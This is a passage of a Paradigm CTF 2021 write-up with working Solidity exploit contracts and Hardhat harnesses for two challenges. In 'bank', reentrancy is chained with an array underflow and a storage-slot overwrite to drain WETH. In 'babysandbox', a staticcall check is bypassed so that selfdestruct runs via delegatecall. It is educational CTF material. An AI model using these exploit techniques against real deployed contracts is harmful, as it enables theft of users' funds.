So, how do we do this? Well, first we have to actually trigger the underflow. This is non-trivial, as there are a few conditions that need to be met. We can first see that every time we open a new account, we increment the accounts[].length value. To trigger the underflow, we want to get this value to 0 and then to decrement it. There are two ways in which we can decrement this value in the contract: withdrawing tokens and closing our last account.

There are a few caveats here:

  • To withdraw a token or close an account, we need to have an account already set up as the length cannot be 0.
  • To decerement the length in either function, the uniqueTokens must be 0.

So what gives here? Well, we are going to have to leverage a second issue to be able to match the conditions so that we can execute both the withdrawToken() function and the closeLastAccount() function in the same transaction. This is possible because in the withdrawToken(), the account length requirement is performed before an external call is made to a passed in address. Yep, we are going to have to exploit a reentrancy issue. A non-trivial one at that.

In order to match the conditions, we want to create a scenario in which by the time it gets to the decrement inside of withdrawToken(), we have uniqueTokens = 1 and the length = 0. Playing around with this, we will see that this is easier to do if we actually have two accounts initially opened. The solution contract contains comments that explain in detail each step of the reentrancy exploit.

Ok, array overflowed but we still need to write to the correct location in storage in order to give ourselves a balance of WETH to withdraw from the bank. Another interesting obstacle is that the location in memory we can write to using setAccountName() is accounts[msg.sender][accountId].name. What we really want to overwrite however, is the location accounts[msg.sender][accountId].balances[WETH]. Essentially, this boils down to solving for x in the following equation location(accounts[msg.sender][accountId].balances[WETH]) = location(accounts[msg.sender][x].name) where location simply donotes the variable’s location in storage. The solution contract contains comments that explain in detail each step of the calculations used to gather the storage location and accountId to pull off the entire exploit. Due to the use of a struct in the contract and the resulting integer division by 3 in the calculation, multiple accountIds had to be tried to find one that would lead to the correct location in memory.

Putting it all together, we use reentrancy to exploit a dynamic array underflow and then solve for an accountId and corresponding location in memory. We then use setAccountName() to set the value to something greater than 50 ether and then we call withdraw on that accountId. Finally, we profit!

Hardhat Challenge:
const { ethers } = require('hardhat');
const { expect } = require('chai');

describe('[Challenge] bank', function () {

    before(async function () {
        /** SETUP */
        [deployer, attacker] = await ethers.getSigners();

        const Setup = await ethers.getContractFactory('SetupBank', deployer);
        this.setup = await Setup.deploy({value: ethers.utils.parseEther('50')});

        const Bank = await ethers.getContractFactory('Bank', deployer);
        this.bank = await Bank.attach(await this.setup.bank());

        const WETH = await ethers.getContractFactory('WETH9', deployer);
        this.weth = await WETH.attach(await this.setup.weth());

    });

    it('Exploit', async function () {
        /** CODE YOUR EXPLOIT HERE  */

    });

    after(async function () {
        /** SUCCESS CONDITIONS */
        expect (await this.weth.balanceOf(this.bank.address)
        ).to.equal(0);

        expect(
            await this.setup.isSolved()
        ).to.equal(true);
    });
});
Contract Solution:
import "./SetupBank.sol";
pragma solidity 0.4.24;

contract BankAttacker is ERC20Like {
    SetupBank public setup;
    Bank public bank;
    uint256 bankBalance;
    WETH9 weth;
    uint256 counter;

    constructor(address _setup, uint256 _balance, address _weth) {
        setup = SetupBank(_setup);
        bank = setup.bank();
        bankBalance = _balance;
        weth = WETH9(_weth);
    }
    
    function transfer(address dst, uint qty) public returns (bool){
        return true;
    }
    function transferFrom(address src, address dst, uint qty) public returns (bool) {
        return true;
    }
    function approve(address dst, uint qty) public returns (bool) {
        return true;
    }
    function balanceOf(address who) public view returns (uint) {
        // skip the first 4 setup calls
        if (counter < 12 ) {
            ++counter;
        } else if (counter == 12) {
            ++counter;
            // Start: uniqueTokens(0) = 0, uniqueTokens(1) = 0, length = 1
            bank.closeLastAccount();
            // End: uniqueTokens(0) = 0, uniqueTokens(1) = 0, length = 0

            // Start: uniqueTokens(0) = 0, uniqueTokens(1) = 0, length = 0
            bank.depositToken(0, address(this), 0);
            // End 1: uniqueTokens(0) = 0, uniqueTokens(1) = 0, length = 1
            // End 2: uniqueTokens(0) = 1, uniqueTokens(1) = 0, length = 0

        } else if (counter == 13) {
            // hits this on the above depositToken() call
            ++counter; 
            // Start: uniqueTokens(0) = 0, uniqueTokens(1) = 0, length = 1
            bank.closeLastAccount();
            // End: uniqueTokens(0) = 0, uniqueTokens(1) = 0, length = 0
        }
        return bankBalance; 
    }

    function attack() public payable {

        // Start: uniqueTokens(0) = 0, length = 0
        bank.depositToken(0, address(this), 0); 
        // End: uniqueTokens(0) = 1, length = 1

        // Start: uniqueTokens(0) = 1, length = 1
        bank.depositToken(1, address(this), 0);
        // End: uniqueTokens(0) = 1, uniqueTokens(1) = 1, length = 2

        // Start: uniqueTokens(0) = 1, uniqueTokens(1) = 1, length = 2
        bank.withdrawToken(0, address(this), 0); 
        // End: uniqueTokens(0) = 0, uniqueTokens(1) = 1, length = 2

        // Start: uniqueTokens(0) = 0, uniqueTokens(1) = 1, length = 2
        bank.withdrawToken(1, address(this), 0); 
        // End: uniqueTokens(0) = 0, uniqueTokens(1) = 0, length = 1

        // Note that uniqueTokens(0) would underflow on the next withdrawal if we did not
        // increment just the unique tokens value before it falls
        // and hence the requirement to deposit only to close the acount immediately after
        // for the full view of middle steps, check the 'balanceOf()' function

        // Start: uniqueTokens(0) = 0, uniqueTokens(1) = 0, length = 1
        bank.withdrawToken(0, address(this), 0);
        // End: uniqueTokens(0) = 0, uniqueTokens(1) = 0, length = 2^256 - 1
    
        // We have arbitrary write to accounts[msg.sender][accountId].accountName, so now we need to
        // solve for which accountId value passed in will overwrite a known
        // balance location in accounts[msg.sender][accountId].balances[token] in memory
        uint256 accountId = 0;
        uint256 overwriteLoc = 0;
        while (true) {
            uint256 i = 0;
            (bool success, uint256 location) = getBalanceLocation(i);
            if (success) {
                overwriteLoc = location;
                accountId = i;
                break;
            }
            ++i;
        }

        bank.setAccountName(overwriteLoc, "A");
        bank.withdrawToken(accountId, address(weth), 50 ether);

    }

    function mapLocation(uint256 slot, address key) public view returns (uint256) {
        return uint256(keccak256(uint256(key), slot));
    }
    function arrLocation(uint256 slot, uint256 index, uint256 elementSize)
    public
    view
    returns (uint256)
    {
        return uint256(keccak256(slot)) + (index * elementSize);
    }

    function getBalanceLocation(uint256 accountId) public view returns (bool, uint256) {
        // find accounts[msg.sender]
        uint256 userLoc = mapLocation(2, address(this));

        // find accounts[msg.sender][accountId]
        // = accounts[msg.sender][accountId].name
        uint256 accountLoc = arrLocation(userLoc, accountId, 3);

        // find accounts[msg.sender][accountId]+2
        // = accounts[msg.sender][accountId].balances
        uint256 balanceLoc = arrLocation(userLoc, accountId, 3) + 2;

        // = accounts[msg.sender][accountId].balances[token]
        uint256 wethBalanceLoc = mapLocation(balanceLoc, address(weth));
        
        // we want location(accounts[msg.sender][accountId].balances[token]) = location(accounts[msg.sender][x].name)
        // wethBalanceLoc = arrLocation(userLoc, x, 3)
        // wethBalanceLoc = uint256(keccak256(userLoc)) + x * 3
        // x = (wethBalanceLoc - uint256(keccak256(userLoc))) / 3
        uint256 dividend = (wethBalanceLoc - uint256(keccak256(userLoc)));
        uint256 location = (dividend) / 3;

        // integer division by 3, if it doesn't work we'll just check another accountId
        if (dividend % 3 == 0) {
            return (true, location);
        } else {
            return (false, location);
        }

    }

}

HardHat Solution:
    it('Exploit', async function () {
        /** CODE YOUR EXPLOIT HERE  */
        const BankAttacker = await ethers.getContractFactory('BankAttacker', deployer);
        this.bankAttacker = await BankAttacker.deploy(this.setup.address, this.bank.address, this.weth.address);

        await this.bankAttacker.attack()
    });

Paradigm CTF 2021: babysandbox

Challenge:

This write-up is for the challenge titled ‘babysandbox’.

This challenge is located in the babysandbox/public/ directory. The source code can be found below:

BabySandbox.sol:
pragma solidity 0.7.0;

contract BabySandbox {
    function run(address code) external payable {
        assembly {
            // if we're calling ourselves, perform the privileged delegatecall
            if eq(caller(), address()) {
                switch delegatecall(gas(), code, 0x00, 0x00, 0x00, 0x00)
                    case 0 {
                        returndatacopy(0x00, 0x00, returndatasize())
                        revert(0x00, returndatasize())
                    }
                    case 1 {
                        returndatacopy(0x00, 0x00, returndatasize())
                        return(0x00, returndatasize())
                    }
            }
            
            // ensure enough gas
            if lt(gas(), 0xf000) {
                revert(0x00, 0x00)
            }
            
            // load calldata
            calldatacopy(0x00, 0x00, calldatasize())
            
            // run using staticcall
            // if this fails, then the code is malicious because it tried to change state
            if iszero(staticcall(0x4000, address(), 0, calldatasize(), 0, 0)) {
                revert(0x00, 0x00)
            }
            
            // if we got here, the code wasn't malicious
            // run without staticcall since it's safe
            switch call(0x4000, address(), 0, 0, calldatasize(), 0, 0)
                case 0 {
                    returndatacopy(0x00, 0x00, returndatasize())
                    // revert(0x00, returndatasize())
                }
                case 1 {
                    returndatacopy(0x00, 0x00, returndatasize())
                    return(0x00, returndatasize())
                }
        }
    }
}
Setup.sol:
pragma solidity 0.7.0;

import "./BabySandbox.sol";

contract Setup {
    BabySandbox public sandbox;
    
    constructor() {
        sandbox = new BabySandbox();
    }
    
    function isSolved() public view returns (bool) {
        uint size;
        assembly {
            size := extcodesize(sload(sandbox.slot))
        }
        return size == 0;
    }
}

The hints and solutions for this level can be found below:

Hint 1:

There are two key operations within babysandbox that comprise the sandbox. The first, is a staticcall and the second is a regular call. Both calls are made using the existing calldata and therefore make a delegatecall to the contract passed in to the run funtion initially.

Hint 2:

Illegal Staticcall Operations

The solution for this level can be found below:

Solution:

Putting all of the info from our hints together, we can see that the sandbox is the staticcall operation. It is used as a check to ensure that we do not perform state change operations before the contract goes through and performs an unsafe delegatecall. If we can bypass the staticcall check, then we can make a delegatecall from the context of the sandbox to an arbitrary address. This is useful, because the win condition is for the codesize of the sandbox to be 0. This can be achieved through the selfdestruct() function.

Our solution is to simply handle a revert caused by a staticcall in order to return a non-zero value. We can achieve this with a try catch block and a couple of custom contracts:

Hardhat Challenge:
const { ethers } = require('hardhat');
const { expect } = require('chai');

describe('[Challenge] babysandbox', function () {

    before(async function () {
        /** SETUP */
        [deployer] = await ethers.getSigners();

        const Setup = await ethers.getContractFactory('SetupBS', deployer);
        this.setup = await Setup.deploy();

        const BabySandbox = await ethers.getContractFactory('BabySandbox', deployer);
        this.babysandbox = await BabySandbox.attach(await this.setup.sandbox());

    });

    it('Exploit', async function () {
        /** CODE YOUR EXPLOIT HERE  */
    });

    after(async function () {
        /** SUCCESS CONDITIONS */
        expect(
            await this.setup.isSolved()
        ).to.equal(true);
    });
});
Contract Solution:
import "./SetupBS.sol";
pragma solidity 0.7.0;
contract Receiver {
    Spacer private immutable space = new Spacer();
    fallback() external payable {
        // call that performs an sstore
        // should revert and catch on static call 
        try space.magic_eightball(8) { 
            // if it doesn't revert, then call selfdestruct
            // should run this on a regular call
            selfdestruct(address(0)); 

            } catch {
                //if it reverts, then do nothing
            } 
    }
}

contract BSAttacker {

    Setup public setup;
    constructor(address _setup) {
        setup = Setup(_setup);
    }

    function attack() public {
        setup.sandbox().run(address(new Receiver()));
    }
}

contract Spacer {
    uint256 value = 1;
    function magic_eightball(uint256 _value) external {
        assembly {
            sstore(0, _value)
        }

    }
}

HardHat Solution:
    it('Exploit', async function () {
        /** CODE YOUR EXPLOIT HERE  */
        const BSAttacker = await ethers.getContractFactory('BSAttacker', deployer);
        this.bsAttacker = await BSAttacker.deploy(this.setup.address);

        await this.bsAttacker.attack();
    });